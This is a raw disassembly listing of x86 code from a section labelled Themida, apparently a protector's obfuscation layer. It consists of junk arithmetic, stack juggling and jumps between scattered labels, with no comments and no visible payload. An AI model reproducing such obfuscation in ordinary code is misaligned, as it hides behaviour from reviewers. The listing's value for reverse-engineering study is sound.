loc_5A7E34: ; CODE XREF: Themida_:005A9C89j
mov [esp], ax
mov ah, 6Eh
jmp loc_59DB81
; ---------------------------------------------------------------------------
loc_5A7E3F: ; CODE XREF: Themida_:0059F3C4j
mov dh, 0ACh
mov bl, 0CBh
sub bl, 4Ah
add bl, dh
add bl, 4Ah
pop edx
jmp loc_59AFB3
; ---------------------------------------------------------------------------
loc_5A7E51: ; CODE XREF: Themida_:005A7B4Ej
mov [esp], ebp
mov ebp, 196F7D50h
sub eax, ebp
pop ebp
push esi
jmp loc_59815B
; ---------------------------------------------------------------------------
loc_5A7E62: ; CODE XREF: Themida_:0059E70Dj
pop ebp
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_5A4827
; ---------------------------------------------------------------------------
loc_5A7E71: ; CODE XREF: Themida_:0059F791j
add ebx, edi
jmp loc_59B89E
; ---------------------------------------------------------------------------
loc_5A7E78: ; CODE XREF: Themida_:0059A997j
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
push 6061h
mov [esp], eax
mov eax, 4
add ebx, 71C863A5h
add ebx, eax
sub ebx, 71C863A5h
jmp loc_5A15A7
; ---------------------------------------------------------------------------
loc_5A7EA7: ; CODE XREF: Themida_:0059FEF4j
sub esp, 4
mov [esp], eax
mov eax, 15C92B01h
add edx, eax
jmp loc_59BA87
; ---------------------------------------------------------------------------
loc_5A7EBC: ; CODE XREF: Themida_:0059704Aj
mov edi, 71608EACh
xor eax, edi
pop edi
add esi, eax
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, 4
add esi, ecx
jmp loc_59D162
; ---------------------------------------------------------------------------
loc_5A7EDC: ; CODE XREF: Themida_:005A9617j
pop dx
push ecx
push ax
mov al, dl
mov dl, [esp+3]
mov [esp+3], al
pop ax
dec dl
sub esp, 4
jmp loc_599BF6
; ---------------------------------------------------------------------------
loc_5A7EF7: ; CODE XREF: Themida_:005A5C89j
add ecx, ebp
jmp loc_597A04
; ---------------------------------------------------------------------------
loc_5A7EFE: ; CODE XREF: Themida_:005AA9E4j
mov ecx, 15E412C8h
xor [esp+4], ecx
mov ecx, [esp]
push esi
mov esi, esp
push ebx
mov ebx, 7F557175h
sub ebx, 7F557171h
add esi, ebx
mov ebx, [esp]
jmp loc_5AA6C5
; ---------------------------------------------------------------------------
loc_5A7F23: ; CODE XREF: Themida_:005A6FF1j
push ebx
push ecx
mov ecx, 51FA38C8h
shl ecx, 6
sub ecx, 40C27A94h
add ecx, 6E4E363Ah
shl ecx, 5
jmp loc_5A48C7
; ---------------------------------------------------------------------------
loc_5A7F41: ; CODE XREF: Themida_:00599BDAj
sub ebx, 1FB1FDCh
and edi, ebx
jmp loc_5A1BF6
; ---------------------------------------------------------------------------
loc_5A7F4E: ; CODE XREF: Themida_:005A8783j
mov [esp], edx
mov dh, 75h
neg dh
and dh, 76h
dec dh
inc dh
push 583Dh
mov [esp], eax
push edx
mov dh, 37h
mov al, 0Dh
sub al, dh
pop edx
push ecx
mov cl, 0D5h
sub cl, 55h
jmp loc_5A564C
; ---------------------------------------------------------------------------
loc_5A7F77: ; CODE XREF: Themida_:005AA93Aj
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_597B2B
; ---------------------------------------------------------------------------
loc_5A7F8B: ; CODE XREF: Themida_:0059CB3Bj
mov ebx, [esp]
jmp loc_5994B4
; ---------------------------------------------------------------------------
loc_5A7F93: ; CODE XREF: Themida_:005A22FCj
add edx, 4
xchg edx, [esp]
jmp loc_5A5D0D
; ---------------------------------------------------------------------------
loc_5A7F9E: ; CODE XREF: Themida_:005A8086j
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_59F216
; ---------------------------------------------------------------------------
loc_5A7FAD: ; CODE XREF: Themida_:005A119Cj
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
jmp loc_5A4166
; ---------------------------------------------------------------------------
loc_5A7FCB: ; CODE XREF: Themida_:005A305Fj
pop edi
add esp, 4
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
jmp loc_5AB3E1
; ---------------------------------------------------------------------------
loc_5A7FE5: ; CODE XREF: Themida_:0059B18Ej
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_5A8EB4
; ---------------------------------------------------------------------------
loc_5A7FF7: ; CODE XREF: Themida_:005A3A93j
push 1ACDh
mov [esp], edx
push 458F7F92h
pop edx
xor esi, edx
pop edx
push edx
mov edx, 30C23FA6h
xor esi, edx
pop edx
sub ebx, esi
pop esi
pop edi
push edi
jmp loc_59CE3F
; ---------------------------------------------------------------------------
loc_5A801B: ; CODE XREF: Themida_:0059C6FAj
add ebx, 770E6E30h
jmp loc_5A73B3
; ---------------------------------------------------------------------------
loc_5A8026: ; CODE XREF: Themida_:005A826Bj
mov [esp], ebx
push esp
pop ebx
jmp loc_5975F8
; ---------------------------------------------------------------------------
loc_5A8030: ; CODE XREF: Themida_:0059B813j
push ebp
mov ebp, 0F385112h
add ebx, ebp
pop ebp
push ebp
push 5796533Dh
pop ebp
push 278Ah
mov [esp], edi
mov edi, 72671CF9h
add ebx, 73CF2376h
jmp loc_59F8BB
; ---------------------------------------------------------------------------
loc_5A8058: ; CODE XREF: Themida_:005A2C54j
sub ecx, 63063D5Dh
add edx, ecx
pop ecx
push dword ptr [esp]
jmp loc_59FCE0
; ---------------------------------------------------------------------------
loc_5A8069: ; CODE XREF: Themida_:0059C455j
add esp, 4
xor ebp, 8A040060h
push edx
mov edx, ebp
mov esi, edx
mov edx, [esp]
add esp, 4
pop ebp
and ecx, esi
push dword ptr [esp]
jmp loc_5A7F9E
; ---------------------------------------------------------------------------
loc_5A808B: ; CODE XREF: Themida_:0059F382j
xor ebp, eax
pop eax
push edx
jmp loc_59BE73
; ---------------------------------------------------------------------------
loc_5A8094: ; CODE XREF: Themida_:005A2B99j
pop esp
and ecx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
mov eax, [esp]
push 26B8h
mov [esp], edx
push edx
mov edx, esp
sub esp, 4
mov [esp], esi
jmp loc_5A6ADE
; ---------------------------------------------------------------------------
loc_5A80C5: ; CODE XREF: Themida_:0059AC4Cj
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ecx
mov cl, al
push ecx
mov ecx, esp
add ecx, 4
push ebx
jmp loc_596C83
; ---------------------------------------------------------------------------
loc_5A80F2: ; CODE XREF: Themida_:0059D8A5j
pop ebx
sub ebx, 5AC9616Dh
add ebx, ebp
add ebx, 5AC9616Dh
jmp loc_5A3F51
; ---------------------------------------------------------------------------
loc_5A8106: ; CODE XREF: Themida_:0059D3ECj
add esp, 4
add ecx, 71802723h
add ecx, eax
sub ecx, 71802723h
jmp loc_5A7619
; ---------------------------------------------------------------------------
loc_5A811C: ; CODE XREF: Themida_:00599B36j
mov [esp], edx
push ecx
mov ecx, 652F717Ch
mov edx, ecx
pop ecx
shl edx, 2
jmp loc_5A7CEE
; ---------------------------------------------------------------------------
loc_5A8130: ; CODE XREF: Themida_:005A1B15j
pop ebp
mov esi, eax
pop eax
xor esi, 562737Dh
or esi, 202C42ADh
neg esi
push ebp
mov ebp, 0
sub ebp, esi
mov esi, ebp
pop ebp
and esi, 184734DFh
xor esi, 3EB44BB6h
mov edi, 1A59467Dh
xor edi, esi
jmp loc_59C341
; ---------------------------------------------------------------------------
loc_5A8165: ; CODE XREF: Themida_:005A2887j
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebp
mov ebp, 72A31FB4h
push ebx
jmp loc_59852E
; ---------------------------------------------------------------------------
loc_5A8179: ; CODE XREF: Themida_:00598B5Aj
and ecx, edi
push dword ptr [esp]
jmp loc_597EF0
; ---------------------------------------------------------------------------
loc_5A8183: ; CODE XREF: Themida_:005A11DAj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
mov edi, [esp]
add esp, 4
sub [esp+4], edx
pop edx
jmp loc_5A5C44
; ---------------------------------------------------------------------------
loc_5A81A6: ; CODE XREF: Themida_:0059EDAEj
mov ecx, 4
add edi, ecx
pop ecx
xchg edi, [esp]
jmp loc_5A3064
; ---------------------------------------------------------------------------
loc_5A81B6: ; CODE XREF: Themida_:005A3484j
add ebp, 9003AF3h
add ebp, edi
push 4B7Dh
mov [esp], esi
mov esi, 9003AF3h
sub ebp, 682054F6h
sub ebp, esi
add ebp, 682054F6h
mov esi, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
xor ebx, ebp
mov ebp, [esp]
add esp, 4
sub eax, ebx
pop ebx
push ebx
mov ebx, 58CE49ECh
push edi
push ecx
jmp loc_5A5AB0
; ---------------------------------------------------------------------------
loc_5A8203: ; CODE XREF: Themida_:005A5C35j
add ecx, ebx
pop ebx
sub ecx, 4
jmp loc_59CE4C
; ---------------------------------------------------------------------------
loc_5A8211: ; CODE XREF: Themida_:0059993Aj
pop dword ptr [esp]
jmp loc_5A6114
; ---------------------------------------------------------------------------
loc_5A8219: ; CODE XREF: Themida_:0059821Dj
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp locret_5A755B
; ---------------------------------------------------------------------------
loc_5A8232: ; CODE XREF: Themida_:0059AEFAj
mov [esp], esi
jmp loc_5A3ADA
; ---------------------------------------------------------------------------
loc_5A823A: ; CODE XREF: Themida_:0059E102j
mov esi, 172F75B0h
add ebx, esi
pop esi
jmp loc_5A1EF4
; ---------------------------------------------------------------------------
loc_5A8247: ; CODE XREF: Themida_:005AB0D6j
xchg eax, edx
not eax
xchg eax, edx
push edx
not dword ptr [esp]
jmp loc_59F831
; ---------------------------------------------------------------------------
loc_5A8254: ; CODE XREF: Themida_:005A0799j
push ebx
mov ebx, 19DD76D7h
jmp loc_5A4EEE
; ---------------------------------------------------------------------------
loc_5A825F: ; CODE XREF: Themida_:005979DFj
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_5A8026
; ---------------------------------------------------------------------------
loc_5A8270: ; CODE XREF: Themida_:005A439Fj
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
or [esp], al
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A8285: ; CODE XREF: Themida_:005A4F79j
xor [esp], esi
xor esi, [esp]
xor [esp], esi
pop eax
push esi
push ebx
push 0ED76F96h
pop ebx
push ebx
not dword ptr [esp]
pop ebx
jmp loc_5A4B61
; ---------------------------------------------------------------------------
loc_5A82A1: ; CODE XREF: Themida_:005A9401j
push 1
pop esi
and eax, esi
push dword ptr [esp]
mov esi, [esp]
push ebx
mov ebx, esp
jmp loc_5A5E18
; ---------------------------------------------------------------------------
loc_5A82B7: ; CODE XREF: Themida_:005A41ABj
and edx, 38CE05B1h
xor edx, 4E00B2h
mov edi, edx
jmp loc_59D64A
; ---------------------------------------------------------------------------
loc_5A82CA: ; CODE XREF: Themida_:005A1F63j
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 384D1D63h
mov eax, ecx
pop ecx
jmp loc_5A8A36
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3C0Ch
mov [esp], esi
mov esi, esp
push 28EDh
jmp loc_59DC76
; ---------------------------------------------------------------------------
loc_5A830C: ; CODE XREF: Themida_:005A729Aj
mov edx, esp
push ecx
mov ecx, 228658FEh
jmp loc_5A0CA9
; ---------------------------------------------------------------------------
loc_5A8319: ; CODE XREF: Themida_:005A4D4Cj
push esi
push 1B01h
mov [esp], ebx
mov ebx, 1FD26FF8h
add ebx, 55122489h
sub ebx, 74E4947Dh
mov esi, ebx
pop ebx
add ebx, esi
pop esi
push edi
mov edi, 2D91353Eh
add edi, 1
sub edi, 0FFFFFFFFh
sub edi, 1
or edi, 59725063h
jmp loc_5AA42C
; ---------------------------------------------------------------------------
loc_5A8353: ; CODE XREF: Themida_:0059A388j
pop esp
pop dword ptr [esp]
pop esp
push 64CEh
mov [esp], edx
sub esp, 4
mov [esp], ebx
push esp
jmp loc_596159
; ---------------------------------------------------------------------------
loc_5A836F: ; CODE XREF: Themida_:00596EDCj
mov bl, dh
pop edx
jmp loc_596B2D
; ---------------------------------------------------------------------------
loc_5A8377: ; CODE XREF: Themida_:00596999j
mov edx, 27951B01h
push 1B59h
jmp loc_59CCAD
; ---------------------------------------------------------------------------
loc_5A8386: ; CODE XREF: Themida_:0059F753j
xor [esp], ecx
xor ecx, [esp]
jmp loc_5A08B5
; ---------------------------------------------------------------------------
loc_5A8391: ; CODE XREF: Themida_:00596896j
pop eax
jmp loc_59ECDC
; ---------------------------------------------------------------------------
loc_5A8397: ; CODE XREF: Themida_:005A7475j
push dword ptr [esp]
jmp loc_59C634
; ---------------------------------------------------------------------------
loc_5A839F: ; CODE XREF: Themida_:0059EB36j
sub eax, ebx
add eax, 17926AB1h
pop ebx
add eax, 5DA70336h
add eax, ecx
jmp loc_597885
; ---------------------------------------------------------------------------
loc_5A83B3: ; CODE XREF: Themida_:0059AD70j
shl ecx, 1
xor ecx, 5F8850DEh
jmp loc_59CC87
; ---------------------------------------------------------------------------
loc_5A83C0: ; CODE XREF: Themida_:0059EE66j
mov eax, [esp]
jmp loc_598A4B
; ---------------------------------------------------------------------------
loc_5A83C8: ; CODE XREF: Themida_:005A317Cj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], eax
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5A07C1
; ---------------------------------------------------------------------------
loc_5A83F8: ; CODE XREF: Themida_:0059CF50j
pop edx
add edx, 72D33ABEh
pop ebx
not edx
inc edx
jmp loc_5A7AE3
; ---------------------------------------------------------------------------
loc_5A8408: ; CODE XREF: Themida_:005A3B85j
mov edi, ecx
pop ecx
jmp loc_5A1A48
; ---------------------------------------------------------------------------
loc_5A8410: ; CODE XREF: Themida_:005A1BCAj
sub ebx, 762253AFh
jmp loc_5AAC87
; ---------------------------------------------------------------------------
loc_5A841B: ; CODE XREF: Themida_:0059E061j
pop dword ptr [esp]
jmp loc_596B25
; ---------------------------------------------------------------------------
loc_5A8423: ; CODE XREF: Themida_:005A0BACj
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, 2EC051ACh
sub [esp+4], ebx
jmp loc_5A3D44
; ---------------------------------------------------------------------------
loc_5A8438: ; CODE XREF: Themida_:005A3166j
xchg eax, [esp]
jmp loc_59DD29
; ---------------------------------------------------------------------------
loc_5A8440: ; CODE XREF: Themida_:005A9F64j
xchg ebx, [esp]
jmp loc_598ACD
; ---------------------------------------------------------------------------
loc_5A8448: ; CODE XREF: Themida_:0059FCA3j
xor ecx, edx
pop edx
push ecx
pop esi
pop ecx
push eax
mov eax, 1C8F2831h
xor eax, 0FE612C7Ch
sub esi, eax
pop eax
push edi
push edx
push edi
mov edi, 1A6E4B0Ah
sub edi, 4DB65218h
shl edi, 1
add edi, 0D8B384F8h
push ebx
mov ebx, edi
mov edx, ebx
pop ebx
pop edi
mov edi, edx
pop edx
shr edi, 6
neg edi
shl edi, 6
jmp loc_5A1E8B
; ---------------------------------------------------------------------------
loc_5A8489: ; CODE XREF: Themida_:005A0E6Dj
add esp, 2
jmp loc_5962E4
; ---------------------------------------------------------------------------
loc_5A8494: ; CODE XREF: Themida_:005A1C18j
mov edx, 0
add edx, ecx
jmp loc_59DFFB
; ---------------------------------------------------------------------------
loc_5A84A0: ; CODE XREF: Themida_:005A2B53j
mov [esp], ebp
jmp loc_59A5CC
; ---------------------------------------------------------------------------
loc_5A84A8: ; CODE XREF: Themida_:0059FFB8j
mov [esp], cx
mov cl, dl
not cl
mov dl, cl
mov cx, [esp]
add esp, 2
shl dl, 6
or dl, 16h
and dl, 55h
sub dl, 0Fh
add bl, dl
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_5AABC1
; ---------------------------------------------------------------------------
loc_5A84D2: ; CODE XREF: Themida_:005AB2C3j
mov esp, [esp]
sub al, bl
push dword ptr [esp]
pop ebx
jmp loc_5A9713
; ---------------------------------------------------------------------------
loc_5A84E0: ; CODE XREF: Themida_:005A60A9j
add esi, 161D039Ah
add ebx, esi
mov esi, [esp]
add esp, 4
sub ebx, ebp
sub ebx, 728B649Ah
mov ebp, [esp]
add esp, 4
add [esp+4], ebx
mov ebx, [esp]
jmp loc_599C5A
; ---------------------------------------------------------------------------
loc_5A850E: ; CODE XREF: Themida_:005A8DD1j
add ecx, 4
sub ecx, 4
jmp loc_5A6C47
; ---------------------------------------------------------------------------
loc_5A851F: ; CODE XREF: Themida_:00596222j
sub edx, 478D71B7h
sub edx, edi
push eax
mov eax, 478D71B7h
add edx, eax
mov eax, [esp]
add esp, 4
pop edi
not edx
shr edx, 8
push esi
jmp loc_5A9031
; ---------------------------------------------------------------------------
loc_5A8544: ; CODE XREF: Themida_:005A2DEEj
shr ecx, 1
sub ecx, 41A03788h
jmp loc_5A4016
; ---------------------------------------------------------------------------
loc_5A8551: ; CODE XREF: Themida_:005A13DCj
add ecx, 597E2C83h
shr ecx, 4
add ecx, 0B412A4D5h
add ebp, ecx
jmp loc_59CECE
; ---------------------------------------------------------------------------
loc_5A8567: ; CODE XREF: Themida_:005988A9j
sub eax, 523663F9h
jmp loc_59DCD4
; ---------------------------------------------------------------------------
loc_5A8571: ; CODE XREF: Themida_:005AB352j
xchg ecx, [esp]
jmp loc_59BA45
; ---------------------------------------------------------------------------
loc_5A8579: ; CODE XREF: Themida_:0059BB16j
sub ebx, 74585B04h
jmp loc_59EAE6
; ---------------------------------------------------------------------------
loc_5A8584: ; CODE XREF: Themida_:005A89FFj
push edx
mov edx, 4
jmp loc_59AC9D
; ---------------------------------------------------------------------------
loc_5A858F: ; CODE XREF: Themida_:005A69A8j
mov ebp, 5796533Dh
mov edx, ebp
pop ebp
jmp loc_5A8ADF
; ---------------------------------------------------------------------------
loc_5A859C: ; CODE XREF: Themida_:005A4539j
mov ebx, 4
add esi, ebx
pop ebx
xchg esi, [esp]
pop esp
jmp loc_5A1DB5
; ---------------------------------------------------------------------------
loc_5A85AD: ; CODE XREF: Themida_:005A7957j
and edx, 19B73AF0h
jmp loc_59D6D1
; ---------------------------------------------------------------------------
loc_5A85B8: ; CODE XREF: Themida_:0059BDCEj
push esi
mov esi, 4
add eax, esi
mov esi, [esp]
add esp, 4
jmp loc_5A4B24
; ---------------------------------------------------------------------------
loc_5A85CB: ; CODE XREF: Themida_:0059F7A1j
mov ebp, 81E4A74Fh
add edi, ebp
pop ebp
sub edx, 470A1C3Ah
add edx, edi
add edx, 470A1C3Ah
pop edi
jmp loc_5A3D7A
; ---------------------------------------------------------------------------
loc_5A85E7: ; CODE XREF: Themida_:0059A583j
sub ecx, 4
jmp loc_59F50D
; ---------------------------------------------------------------------------
loc_5A85EF: ; CODE XREF: Themida_:0059803Aj
push ebp
push edi
mov edi, 4A5F557Eh
dec edi
shl edi, 4
xor edi, 0BECC23B4h
mov ebp, edi
pop edi
push ebp
add dword ptr [esp], 59675A87h
pop esi
sub esi, 59675A87h
pop ebp
sub edi, 3B110943h
sub edi, esi
jmp loc_59D46C
; ---------------------------------------------------------------------------
loc_5A8620: ; CODE XREF: Themida_:0059A2F0j
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
jmp loc_5A0B44
; ---------------------------------------------------------------------------
loc_5A8632: ; CODE XREF: Themida_:005A4A1Aj
push 4136h
mov [esp], eax
push ecx
mov ecx, 39CD097Ah
jmp loc_5A4FDD
; ---------------------------------------------------------------------------
loc_5A8645: ; CODE XREF: Themida_:005980ABj
dec dl
sub dl, 25h
add bl, 62h
sub bl, 0D6h
sub bl, 0C9h
jmp loc_598E84
; ---------------------------------------------------------------------------
loc_5A8658: ; CODE XREF: Themida_:005A2DA2j
sub esi, 494375C1h
sub esi, eax
push ebp
mov ebp, 41863B0Dh
xor ebp, 6DAD1193h
and ebp, 5E138D4h
jmp loc_596CA1
; ---------------------------------------------------------------------------
loc_5A8677: ; CODE XREF: Themida_:005A5374j
shr edx, 7
shl edx, 4
jmp loc_5A743F
; ---------------------------------------------------------------------------
loc_5A8682: ; CODE XREF: Themida_:005A5DDAj
shr esi, 8
or esi, 43E3193Dh
sub esp, 4
mov [esp], ecx
jmp loc_5A1BDC
; ---------------------------------------------------------------------------
loc_5A8699: ; CODE XREF: Themida_:00599590j
sub ebx, 428716A9h
jmp loc_5A6550
; ---------------------------------------------------------------------------
loc_5A86A4: ; CODE XREF: Themida_:0059B54Dj
xor eax, 52DE2931h
mov edi, eax
pop eax
sub eax, 24494F2Bh
sub eax, edi
add eax, 24494F2Bh
pop edi
add eax, 638C42B0h
add eax, 5A016ACBh
add eax, ebx
sub eax, 5A016ACBh
sub eax, 638C42B0h
add eax, 4782163h
pop ebx
jmp loc_5997FE
; ---------------------------------------------------------------------------
loc_5A86DA: ; CODE XREF: Themida_:005AA168j
add bl, 0D5h
sub dh, bl
pop ebx
jmp loc_5A4348
; ---------------------------------------------------------------------------
loc_5A86E5: ; CODE XREF: Themida_:005995D2j
push 49184AECh
jmp loc_5A9B67
; ---------------------------------------------------------------------------
loc_5A86EF: ; CODE XREF: Themida_:005A6AFCj
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
jmp loc_599620
; ---------------------------------------------------------------------------
loc_5A870B: ; CODE XREF: Themida_:005A3E14j
mov ebp, esp
add ebp, 4
jmp loc_5980C5
; ---------------------------------------------------------------------------
loc_5A8718: ; CODE XREF: Themida_:005A1A1Aj
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
jmp loc_59C397
; ---------------------------------------------------------------------------
loc_5A8728: ; CODE XREF: Themida_:005A0048j
push ebp
not dword ptr [esp]
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5A9BA9
; ---------------------------------------------------------------------------
loc_5A8743: ; CODE XREF: Themida_:00599B9Aj
or edx, 7AB60DDEh
jmp loc_5995D7
; ---------------------------------------------------------------------------
loc_5A874E: ; CODE XREF: Themida_:005A1648j
neg ch
xor ch, 76h
mov bl, ch
pop ecx
add al, bl
mov ebx, [esp]
add esp, 4
add al, 46h
push 7041h
mov [esp], ecx
mov cl, 0CFh
shl cl, 5
shr cl, 7
shl cl, 8
push ebx
push eax
mov ah, 18h
mov bh, ah
pop eax
sub cl, bh
pop ebx
sub esp, 4
jmp loc_5A7F4E
; ---------------------------------------------------------------------------
loc_5A8788: ; CODE XREF: Themida_:005A0088j
pop ebx
sub al, bl
add al, 94h
sub al, 96h
pop ebx
push ebx
jmp loc_5AB4EA
; ---------------------------------------------------------------------------
loc_5A8796: ; CODE XREF: Themida_:0059F182j
pop esi
not ebx
push edx
push esi
mov esi, 2DE90D3Bh
shl esi, 8
add esi, 40EC0321h
xor esi, 6C071EB9h
and esi, 0C2B536Fh
add esi, 741E6CCDh
mov edx, esi
pop esi
shl edx, 7
jmp loc_59E4CD
; ---------------------------------------------------------------------------
loc_5A87C6: ; CODE XREF: Themida_:0059B0A3j
add eax, 7CBB6D14h
add eax, ebx
push edx
mov edx, 2BB95003h
inc edx
xor edx, 57023D10h
sub eax, edx
pop edx
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
jmp loc_599607
; ---------------------------------------------------------------------------
loc_5A87ED: ; CODE XREF: Themida_:005A4B5Cj
mov ebp, [esp]
add esp, 4
add esp, 4
jmp loc_5A1951
; ---------------------------------------------------------------------------
loc_5A8801: ; CODE XREF: Themida_:00599BE3j
add esp, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, ebp
jmp loc_59D410
; ---------------------------------------------------------------------------
loc_5A8815: ; CODE XREF: Themida_:0059A9DEj
pop ebp
push ebp
pop esi
pop ebp
mov eax, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, offset word_46429E
push esi
jmp loc_5A9AF9
; ---------------------------------------------------------------------------
loc_5A8832: ; CODE XREF: Themida_:0059E3A4j
sub esi, 5C06028h
add esi, 21CD7ECFh
add esi, edx
sub esi, 21CD7ECFh
add esi, 5C06028h
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
xor [esp], ax
pushf
jmp loc_5A4213
; ---------------------------------------------------------------------------
loc_5A8861: ; CODE XREF: Themida_:0059BBF6j
sub ebx, 519458A9h
jmp loc_59FA15
; ---------------------------------------------------------------------------
loc_5A886C: ; CODE XREF: Themida_:0059811Aj
sub [esp+8], edi
sub dword ptr [esp+8], 21696DC1h
mov edi, [esp]
add esp, 4
sub [esp+4], edi
add dword ptr [esp+4], 794753FCh
jmp loc_59A1B6
; ---------------------------------------------------------------------------
loc_5A8892: ; CODE XREF: Themida_:00598468j
add esp, 4
xor edx, 4DD402B8h
add edx, 0C38340A3h
dec edx
push ebp
mov ebp, 979DAF9h
add edx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A8CE4
; ---------------------------------------------------------------------------
loc_5A88C7: ; CODE XREF: Themida_:005A34DCj
push ebx
mov ebx, 941098A6h
sub ebp, ebx
pop ebx
sub ecx, 2DAB5A88h
jmp loc_598B7F
; ---------------------------------------------------------------------------
loc_5A88DB: ; CODE XREF: Themida_:005A6A27j
xor eax, 97BB6750h
sub esi, 4FE906D8h
add esi, 68F44221h
add esi, eax
jmp loc_5A4257
; ---------------------------------------------------------------------------
loc_5A88F3: ; CODE XREF: Themida_:005A9ED5j
push dword ptr [esp]
pop ebp
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A8903: ; CODE XREF: Themida_:005AAEE4j
mov edi, esp
sub esp, 4
mov [esp], edx
jmp loc_5A62E0
; ---------------------------------------------------------------------------
loc_5A8910: ; CODE XREF: Themida_:005A51B3j
pop edx
mov ecx, edi
pop edi
sub [esp+8], ecx
pop ecx
pop ebx
push 1E2Ah
mov [esp], esi
push edi
push 5EA9244Bh
pop edi
sub edi, 0FDAA1961h
mov esi, edi
pop edi
sub dword ptr [esp+4], 65E9629Eh
sub [esp+4], esi
add dword ptr [esp+4], 65E9629Eh
jmp loc_59A028
; ---------------------------------------------------------------------------
loc_5A894B: ; CODE XREF: Themida_:005A250Ej
shr eax, 7
shr eax, 8
inc eax
shl eax, 7
jmp loc_5A51F3
; ---------------------------------------------------------------------------
loc_5A895A: ; CODE XREF: Themida_:005A0A4Ej
add ebx, 24B2716Eh
jmp loc_59C2A1
; ---------------------------------------------------------------------------
loc_5A8965: ; CODE XREF: Themida_:005A1455j
push dword ptr [esp+4]
mov ebx, [esp]
push 656Eh
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_59A382
; ---------------------------------------------------------------------------
loc_5A8981: ; CODE XREF: Themida_:005A9EDBj
mov ecx, esp
push edi
sub esp, 4
jmp loc_5AB3FC
; ---------------------------------------------------------------------------
loc_5A898F: ; CODE XREF: Themida_:005A3F4Cj
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], eax
push 4
pop eax
jmp loc_59F5D5
; ---------------------------------------------------------------------------
loc_5A89AD: ; CODE XREF: Themida_:005A2B72j
sub ebp, 5C726AADh
sub ebp, 5F80157h
mov eax, ebp
mov ebp, [esp]
jmp loc_59AA6D
; ---------------------------------------------------------------------------
loc_5A89C3: ; CODE XREF: Themida_:0059F46Fj
mov [esp], eax
mov eax, 665F1E03h
xor eax, 1C4215Fh
jmp loc_597659
; ---------------------------------------------------------------------------
loc_5A89D5: ; CODE XREF: Themida_:00596C1Dj
push ebp
mov ebp, esp
push esi
mov esi, 4
add ebp, esi
pop esi
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5A8584
; ---------------------------------------------------------------------------
loc_5A8A04: ; CODE XREF: Themida_:0059854Aj
dec edi
neg edi
jmp loc_5A8C8F
; ---------------------------------------------------------------------------
loc_5A8A0C: ; CODE XREF: Themida_:0059C7A1j
add ebx, edx
pop edx
push edx
jmp loc_59FF15
; ---------------------------------------------------------------------------
loc_5A8A15: ; CODE XREF: Themida_:005A2C78j
add esi, edi
sub esi, 13BA2C18h
pop edi
push esi
push dword ptr [esp+4]
jmp loc_59C067
; ---------------------------------------------------------------------------
loc_5A8A28: ; CODE XREF: Themida_:005A6E1Aj
neg eax
jmp loc_59B7B9
; ---------------------------------------------------------------------------
loc_5A8A2F: ; CODE XREF: Themida_:005994A3j
sub ebx, esi
jmp loc_5A1219
; ---------------------------------------------------------------------------
loc_5A8A36: ; CODE XREF: Themida_:005A82EFj
neg eax
push ebx
push eax
mov eax, 2C2018A4h
mov ebx, eax
pop eax
add eax, ebx
pop ebx
jmp loc_59F778
; ---------------------------------------------------------------------------
loc_5A8A4A: ; CODE XREF: Themida_:005A2441j
add esp, 4
jmp loc_5A5053
; ---------------------------------------------------------------------------
loc_5A8A55: ; CODE XREF: Themida_:005AB390j
add bp, 0BB75h
add ax, 6AD7h
sub ax, 5B3Ah
add ax, bp
jmp loc_5A545D
; ---------------------------------------------------------------------------
loc_5A8A6A: ; CODE XREF: Themida_:005A65ACj
mov ebp, esi
pop esi
pop edx
jmp loc_59D408
; ---------------------------------------------------------------------------
